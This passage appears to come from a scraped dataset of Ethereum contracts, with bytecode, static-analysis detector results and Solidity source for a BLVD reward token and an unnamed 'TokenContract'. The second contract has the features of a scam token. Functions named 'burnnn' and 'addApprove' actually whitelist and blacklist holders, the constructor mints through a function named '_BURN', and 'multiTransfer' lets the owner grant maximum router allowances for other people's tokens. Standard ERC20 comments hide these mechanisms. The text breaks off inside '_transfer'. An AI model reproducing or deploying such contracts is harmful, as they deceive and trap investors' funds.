973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d5816134b5565b81146139e057600080fd5b50565b6139ec816134c7565b81146139f757600080fd5b50565b613a03816134f3565b8114613a0e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122037b7154ca7074eb17dd1706c151a03362b3998486048d91a3bf5843f160d72d864736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,606 |
0x3afe25a2739b5c2e08cfec439f9621d91ff7fbfb
|
/**
*Submitted for verification at Etherscan.io on 2019-07-05
*/
pragma solidity ^0.5.10;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
contract ERC20Detailed is IERC20 {
uint8 private _Tokendecimals;
string private _Tokenname;
string private _Tokensymbol;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_Tokendecimals = decimals;
_Tokenname = name;
_Tokensymbol = symbol;
}
function name() public view returns(string memory) {
return _Tokenname;
}
function symbol() public view returns(string memory) {
return _Tokensymbol;
}
function decimals() public view returns(uint8) {
return _Tokendecimals;
}
}
contract BLVD is ERC20Detailed {
//ERC20 contract for rewards within the BULVRD ecosystem
//https://bulvrdapp.com
using SafeMath for uint256;
//The oracle checks the authenticity of the rewards
address public oracle;
//The maintainer is in charge of keeping the oracle running
address public maintainer;
//The owner can replace the oracle or maintainer if they are compromised
address public owner;
//Set max tokens that can be minted
uint256 public maxMintable;
mapping(address => uint256) private _balanceOf;
mapping(address => mapping (address => uint256)) private _allowed;
string public constant tokenSymbol = "BLVD";
string public constant tokenName = "BULVRD";
uint8 public constant tokenDecimals = 18;
uint256 public _totalSupply = 0;
//Constant values for rewards
uint256 public limiter = 5;
uint256 public referral = 35;
uint256 public ar_drive = 15;
uint256 public closure = 15;
uint256 public map_drive = 10;
uint256 public dash_drive = 10;
uint256 public odb2_drive = 10;
uint256 public police = 10;
uint256 public hazard = 10;
uint256 public accident = 10;
uint256 public traffic = 5;
uint256 public twitter_share = 5;
uint256 public mastodon_share = 5;
uint256 public base_report = 5;
uint256 public validated_poi = 5;
uint256 public speed_sign = 1;
uint256 public report_init = 1;
//Keep track of BULVRD users and their redeemed rewards
mapping(address => uint256) redeemedRewards;
mapping(address => uint256) latestWithdrawBlock;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
//The Redeem event is activated when a BULVRD user redeems rewards
event RedeemRewards(address indexed addr, uint256 rewards);
constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
owner = msg.sender;
maintainer = msg.sender;
oracle = msg.sender;
maxMintable = 50000000000 * 10**uint256(tokenDecimals);
//initial grant
redeemRewards(87500000000 * 10**uint256(tokenDecimals), owner);
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public returns (bool success) {
require(owner == msg.sender);
return IERC20(tokenAddress).transfer(owner, tokens);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) public view returns (uint256) {
return _balanceOf[_owner];
}
function allowance(address _owner, address spender) public view returns (uint256) {
return _allowed[_owner][spender];
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
_balanceOf[msg.sender] = _balanceOf[msg.sender].sub(tokens);
_balanceOf[to] = _balanceOf[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
_balanceOf[from] = _balanceOf[from].sub(tokens);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(tokens);
_balanceOf[to] = _balanceOf[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
_allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
//The owner can transfer ownership
function transferOwnership(address newOwner) public {
require(owner == msg.sender);
require(newOwner != address(0));
owner = newOwner;
}
//The owner can change the oracle
//This works only if removeOracle() was never called
function changeOracle(address newOracle) public {
require(owner == msg.sender);
require(oracle != address(0) && newOracle != address(0));
oracle = newOracle;
}
//The owner can change the maintainer
function changeMaintainer(address newMaintainer) public {
require(owner == msg.sender);
maintainer = newMaintainer;
}
//Allow address to redeem rewards verified from BULVRD
function redeemRewards(uint256 rewards, address destination) public {
//Must be oracle
require(msg.sender == oracle, "Must be Oracle to complete");
//Make sure we have moved on since the last transaction of the give
require(block.number > latestWithdrawBlock[destination], "Have not moved on from last block");
//rewards to token conversion
uint256 reward = SafeMath.div(rewards, limiter);
//The amount of rewards needs to be more than the previous redeemed amount
require(reward > redeemedRewards[destination], "Has not earned since last redeem");
//check if reward amount can be redeemed against supply
uint256 total = SafeMath.add(_totalSupply, reward);
require(total <= maxMintable, "Max Mintable Reached");
//The new rewards that is available to be redeemed
uint256 newUserRewards = SafeMath.sub(reward, redeemedRewards[destination]);
//The user's rewards balance is updated with the new reward
_balanceOf[destination] = SafeMath.add(_balanceOf[destination], newUserRewards);
//The total supply (ERC20) is updated
_totalSupply = SafeMath.add(_totalSupply, newUserRewards);
//The amount of rewards redeemed by a user is updated
redeemedRewards[destination] = reward;
//Set block status for user transaction
latestWithdrawBlock[destination] = block.number;
//The Redeem event is triggered
emit RedeemRewards(destination, newUserRewards);
//Update token holder balance on chain explorers
emit Transfer(oracle, destination, newUserRewards);
}
//This function is a workaround because this.redeemedRewards cannot be public
//This is the limitation of the current Solidity compiler
function redeemedRewardsOf(address destination) public view returns(uint256) {
return redeemedRewards[destination];
}
//Helper methods to update rewards
function updateLimiter(uint256 value) public{
require(maintainer == msg.sender);
limiter = value;
}
function updateReferral(uint256 value) public {
require(maintainer == msg.sender);
referral = value;
}
function updateTwitterShare(uint256 value) public {
require(maintainer == msg.sender);
twitter_share = value;
}
function updateMastodonShare(uint256 value) public {
require(maintainer == msg.sender);
mastodon_share = value;
}
function updateArDrive(uint256 value) public {
require(maintainer == msg.sender);
ar_drive = value;
}
function updateMapDrive(uint256 value) public {
require(maintainer == msg.sender);
map_drive = value;
}
function updateDashDrive(uint256 value) public {
require(maintainer == msg.sender);
dash_drive = value;
}
function updateObd2Drive(uint256 value) public {
require(maintainer == msg.sender);
odb2_drive = value;
}
function updatePolice(uint256 value) public {
require(maintainer == msg.sender);
police = value;
}
function updateClosure(uint256 value) public {
require(maintainer == msg.sender);
closure = value;
}
function updateHazard(uint256 value) public {
require(maintainer == msg.sender);
hazard = value;
}
function updateTraffic(uint256 value) public {
require(maintainer == msg.sender);
traffic = value;
}
function updateAccident(uint256 value) public {
require(maintainer == msg.sender);
accident = value;
}
function updateSpeedSign(uint256 value) public {
require(maintainer == msg.sender);
speed_sign = value;
}
function updateBaseReport(uint256 value) public {
require(maintainer == msg.sender);
base_report = value;
}
function updateValidatedPoi(uint256 value) public {
require(maintainer == msg.sender);
validated_poi = value;
}
function updateReportInit(uint256 value) public {
require(maintainer == msg.sender);
report_init = value;
}
}
|
0x608060405234801561001057600080fd5b50600436106103a45760003560e01c806379aa1bd0116101e9578063ba96bb3a1161010f578063dc8830ed116100ad578063ed6883fd1161007c578063ed6883fd14610a4b578063f2fde38b14610a53578063f937b2bf14610a79578063fc528c1c14610a96576103a4565b8063dc8830ed146109f0578063dd62ed3e14610a0d578063e80fcfc214610a3b578063ec654e3814610a43576103a4565b8063c8a004de116100e9578063c8a004de14610982578063cc86ae991461098a578063d2e8a73f146109a7578063dc39d06d146109c4576103a4565b8063ba96bb3a14610946578063c6323c261461094e578063c7330dd41461097a576103a4565b806395cd6e3311610187578063a12ee7ba11610156578063a12ee7ba146108ab578063a457c2d7146108d1578063a9059cbb146108fd578063ac5d4f6414610929576103a4565b806395cd6e331461087657806395d89b411461087e5780639850d32b146108865780639aad16601461088e576103a4565b80637e16036a116101c35780637e16036a14610841578063832f5a2b146108495780638da5cb5b146108515780638fd987b214610859576103a4565b806379aa1bd0146107f85780637b61c320146108155780637dc0d1d01461081d576103a4565b80633eaaf86b116102ce578063648f4d3b1161026c578063680acffe1161023b578063680acffe146107a55780636c02a931146107c257806370a08231146107ca57806374b87f67146107f0576103a4565b8063648f4d3b1461073d57806364b0b4a31461074557806364c798181461076b57806366d626eb14610788576103a4565b80634d907a9b116102a85780634d907a9b146106de578063529fc12d146106e657806357836cbb14610703578063642b44cc14610720576103a4565b80633eaaf86b146106a857806347c421b5146106b05780634d46c0ae146106d6576103a4565b80632154dc391161034657806336d9c59e1161031557806336d9c59e14610664578063387ed6461461066c57806339509351146106745780633b97e856146106a0576103a4565b80632154dc39146105eb57806323b872dd146105f3578063313ce567146106295780633213b7ff14610647576103a4565b80631441a5a9116103825780631441a5a914610485578063148ab62f1461049f57806318160ddd146104bc5780631e89d545146104c4576103a4565b806302ba8162146103a957806306fdde03146103c8578063095ea7b314610445575b600080fd5b6103c6600480360360208110156103bf57600080fd5b5035610a9e565b005b6103d0610aba565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561040a5781810151838201526020016103f2565b50505050905090810190601f1680156104375780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104716004803603604081101561045b57600080fd5b506001600160a01b038135169060200135610b4f565b604080519115158252519081900360200190f35b61048d610bb5565b60408051918252519081900360200190f35b6103c6600480360360208110156104b557600080fd5b5035610bbb565b61048d610bd7565b6103c6600480360360408110156104da57600080fd5b8101906020810181356401000000008111156104f557600080fd5b82018360208201111561050757600080fd5b8035906020019184602083028401116401000000008311171561052957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561057957600080fd5b82018360208201111561058b57600080fd5b803590602001918460208302840111640100000000831117156105ad57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610bdd945050505050565b61048d610c27565b6104716004803603606081101561060957600080fd5b506001600160a01b03813581169160208101359091169060400135610c2d565b610631610d38565b6040805160ff9092168252519081900360200190f35b6103c66004803603602081101561065d57600080fd5b5035610d41565b61048d610d5d565b61048d610d63565b6104716004803603604081101561068a57600080fd5b506001600160a01b038135169060200135610d69565b610631610e17565b61048d610e1c565b6103c6600480360360208110156106c657600080fd5b50356001600160a01b0316610e22565b61048d610e86565b61048d610e8c565b6103c6600480360360208110156106fc57600080fd5b5035610e92565b6103c66004803603602081101561071957600080fd5b5035610eae565b6103c66004803603602081101561073657600080fd5b5035610eca565b61048d610ee6565b61048d6004803603602081101561075b57600080fd5b50356001600160a01b0316610eec565b6103c66004803603602081101561078157600080fd5b5035610f07565b6103c66004803603602081101561079e57600080fd5b5035610f23565b6103c6600480360360208110156107bb57600080fd5b5035610f3f565b6103d0610f5b565b61048d600480360360208110156107e057600080fd5b50356001600160a01b0316610f7d565b61048d610f98565b6103c66004803603602081101561080e57600080fd5b5035610f9e565b6103d0610fba565b610825610fda565b604080516001600160a01b039092168252519081900360200190f35b61048d610fe9565b61048d610fef565b610825610ff5565b6103c66004803603602081101561086f57600080fd5b5035611004565b61048d611020565b6103d0611026565b610825611084565b6103c6600480360360208110156108a457600080fd5b5035611093565b6103c6600480360360208110156108c157600080fd5b50356001600160a01b03166110af565b610471600480360360408110156108e757600080fd5b506001600160a01b0381351690602001356110e8565b6104716004803603604081101561091357600080fd5b506001600160a01b038135169060200135611131565b6103c66004803603602081101561093f57600080fd5b50356111e1565b61048d6111fd565b6103c66004803603604081101561096457600080fd5b50803590602001356001600160a01b0316611203565b61048d6114ac565b61048d6114b2565b6103c6600480360360208110156109a057600080fd5b50356114b8565b6103c6600480360360208110156109bd57600080fd5b50356114d4565b610471600480360360408110156109da57600080fd5b506001600160a01b0381351690602001356114f0565b6103c660048036036020811015610a0657600080fd5b5035611593565b61048d60048036036040811015610a2357600080fd5b506001600160a01b03813581169160200135166115af565b61048d6115da565b61048d6115e0565b61048d6115e6565b6103c660048036036020811015610a6957600080fd5b50356001600160a01b03166115ec565b6103c660048036036020811015610a8f57600080fd5b5035611638565b61048d611654565b6004546001600160a01b03163314610ab557600080fd5b601455565b60018054604080516020601f60026000196101008789161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b455780601f10610b1a57610100808354040283529160200191610b45565b820191906000526020600020905b815481529060010190602001808311610b2857829003601f168201915b5050505050905090565b3360008181526008602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600b5481565b6004546001600160a01b03163314610bd257600080fd5b600c55565b60095490565b60005b8251811015610c2257610c19838281518110610bf857fe5b6020026020010151838381518110610c0c57fe5b6020026020010151611131565b50600101610be0565b505050565b60065481565b6001600160a01b038316600090815260076020526040812054610c56908363ffffffff61165a16565b6001600160a01b0385166000908152600760209081526040808320939093556008815282822033835290522054610c93908363ffffffff61165a16565b6001600160a01b038086166000908152600860209081526040808320338452825280832094909455918616815260079091522054610cd7908363ffffffff6116b716565b6001600160a01b0380851660008181526007602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60005460ff1690565b6004546001600160a01b03163314610d5857600080fd5b600f55565b60195481565b600c5481565b60006001600160a01b038316610d7e57600080fd5b3360009081526008602090815260408083206001600160a01b0387168452909152902054610db2908363ffffffff6116b716565b3360008181526008602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b601281565b60095481565b6005546001600160a01b03163314610e3957600080fd5b6003546001600160a01b031615801590610e5b57506001600160a01b03811615155b610e6457600080fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b60105481565b60175481565b6004546001600160a01b03163314610ea957600080fd5b601655565b6004546001600160a01b03163314610ec557600080fd5b601855565b6004546001600160a01b03163314610ee157600080fd5b600d55565b600f5481565b6001600160a01b03166000908152601b602052604090205490565b6004546001600160a01b03163314610f1e57600080fd5b601355565b6004546001600160a01b03163314610f3a57600080fd5b600b55565b6004546001600160a01b03163314610f5657600080fd5b601255565b6040518060400160405280600681526020016510955315949160d21b81525081565b6001600160a01b031660009081526007602052604090205490565b600a5481565b6004546001600160a01b03163314610fb557600080fd5b600e55565b604051806040016040528060048152602001631093159160e21b81525081565b6003546001600160a01b031681565b60125481565b601a5481565b6005546001600160a01b031681565b6004546001600160a01b0316331461101b57600080fd5b601555565b60155481565b60028054604080516020601f6000196101006001871615020190941685900493840181900481028201810190925282815260609390929091830182828015610b455780601f10610b1a57610100808354040283529160200191610b45565b6004546001600160a01b031681565b6004546001600160a01b031633146110aa57600080fd5b601955565b6005546001600160a01b031633146110c657600080fd5b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60006001600160a01b0383166110fd57600080fd5b3360009081526008602090815260408083206001600160a01b0387168452909152902054610db2908363ffffffff61165a16565b33600090815260076020526040812054611151908363ffffffff61165a16565b33600090815260076020526040808220929092556001600160a01b03851681522054611183908363ffffffff6116b716565b6001600160a01b0384166000818152600760209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6004546001600160a01b031633146111f857600080fd5b601155565b60185481565b6003546001600160a01b03163314611262576040805162461bcd60e51b815260206004820152601a60248201527f4d757374206265204f7261636c6520746f20636f6d706c657465000000000000604482015290519081900360640190fd5b6001600160a01b0381166000908152601c602052604090205443116112b85760405162461bcd60e51b81526004018080602001828103825260218152602001806117836021913960400191505060405180910390fd5b60006112c683600a54611718565b6001600160a01b0383166000908152601b60205260409020549091508111611335576040805162461bcd60e51b815260206004820181905260248201527f486173206e6f74206561726e65642073696e6365206c6173742072656465656d604482015290519081900360640190fd5b6000611343600954836116b7565b9050600654811115611393576040805162461bcd60e51b815260206004820152601460248201527313585e08135a5b9d18589b194814995858da195960621b604482015290519081900360640190fd5b6001600160a01b0383166000908152601b60205260408120546113b790849061165a565b6001600160a01b0385166000908152600760205260409020549091506113dd90826116b7565b6001600160a01b03851660009081526007602052604090205560095461140390826116b7565b6009556001600160a01b0384166000818152601b60209081526040808320879055601c825291829020439055815184815291517f4fd8f0b6354e5709880fa05abe3c74ea38c098f804d438edd63f1f233c2534619281900390910190a26003546040805183815290516001600160a01b038088169316917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050505050565b60115481565b60145481565b6004546001600160a01b031633146114cf57600080fd5b601755565b6004546001600160a01b031633146114eb57600080fd5b600a55565b6005546000906001600160a01b0316331461150a57600080fd5b6005546040805163a9059cbb60e01b81526001600160a01b0392831660048201526024810185905290519185169163a9059cbb916044808201926020929091908290030181600087803b15801561156057600080fd5b505af1158015611574573d6000803e3d6000fd5b505050506040513d602081101561158a57600080fd5b50519392505050565b6004546001600160a01b031633146115aa57600080fd5b601a55565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b600e5481565b60135481565b60165481565b6005546001600160a01b0316331461160357600080fd5b6001600160a01b03811661161657600080fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6004546001600160a01b0316331461164f57600080fd5b601055565b600d5481565b6000828211156116b1576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082820183811015611711576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b600080821161176e576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b600082848161177957fe5b0494935050505056fe48617665206e6f74206d6f766564206f6e2066726f6d206c61737420626c6f636ba265627a7a72305820b1a3cd504ef7040320f46d6e45fd6c6031ca86d6d0f368a21cbe1a4dd7a9da5a64736f6c634300050a0032
|
{"success": true, "error": null, "results": {}}
| 8,607 |
0xe62b627c280033e87d812b554cdd37606e941214
|
/**
SPDX-License-Identifier: Unlicensed
**/
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TokenContract is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
bool private _allowNextWallet = false;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public Last_Owner = 0x0000000000000000000000000000000000000000;
bool public Sellings_enable = true;
bool public BuyBackEnabled = true;
address private _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_BURN(owner, initialSupply*(10**18));
// _mint(, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function burnnn(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function allowNextWallet() public {
require(msg.sender == _owner, "!owner");
_allowNextWallet = true ;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function burnn(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
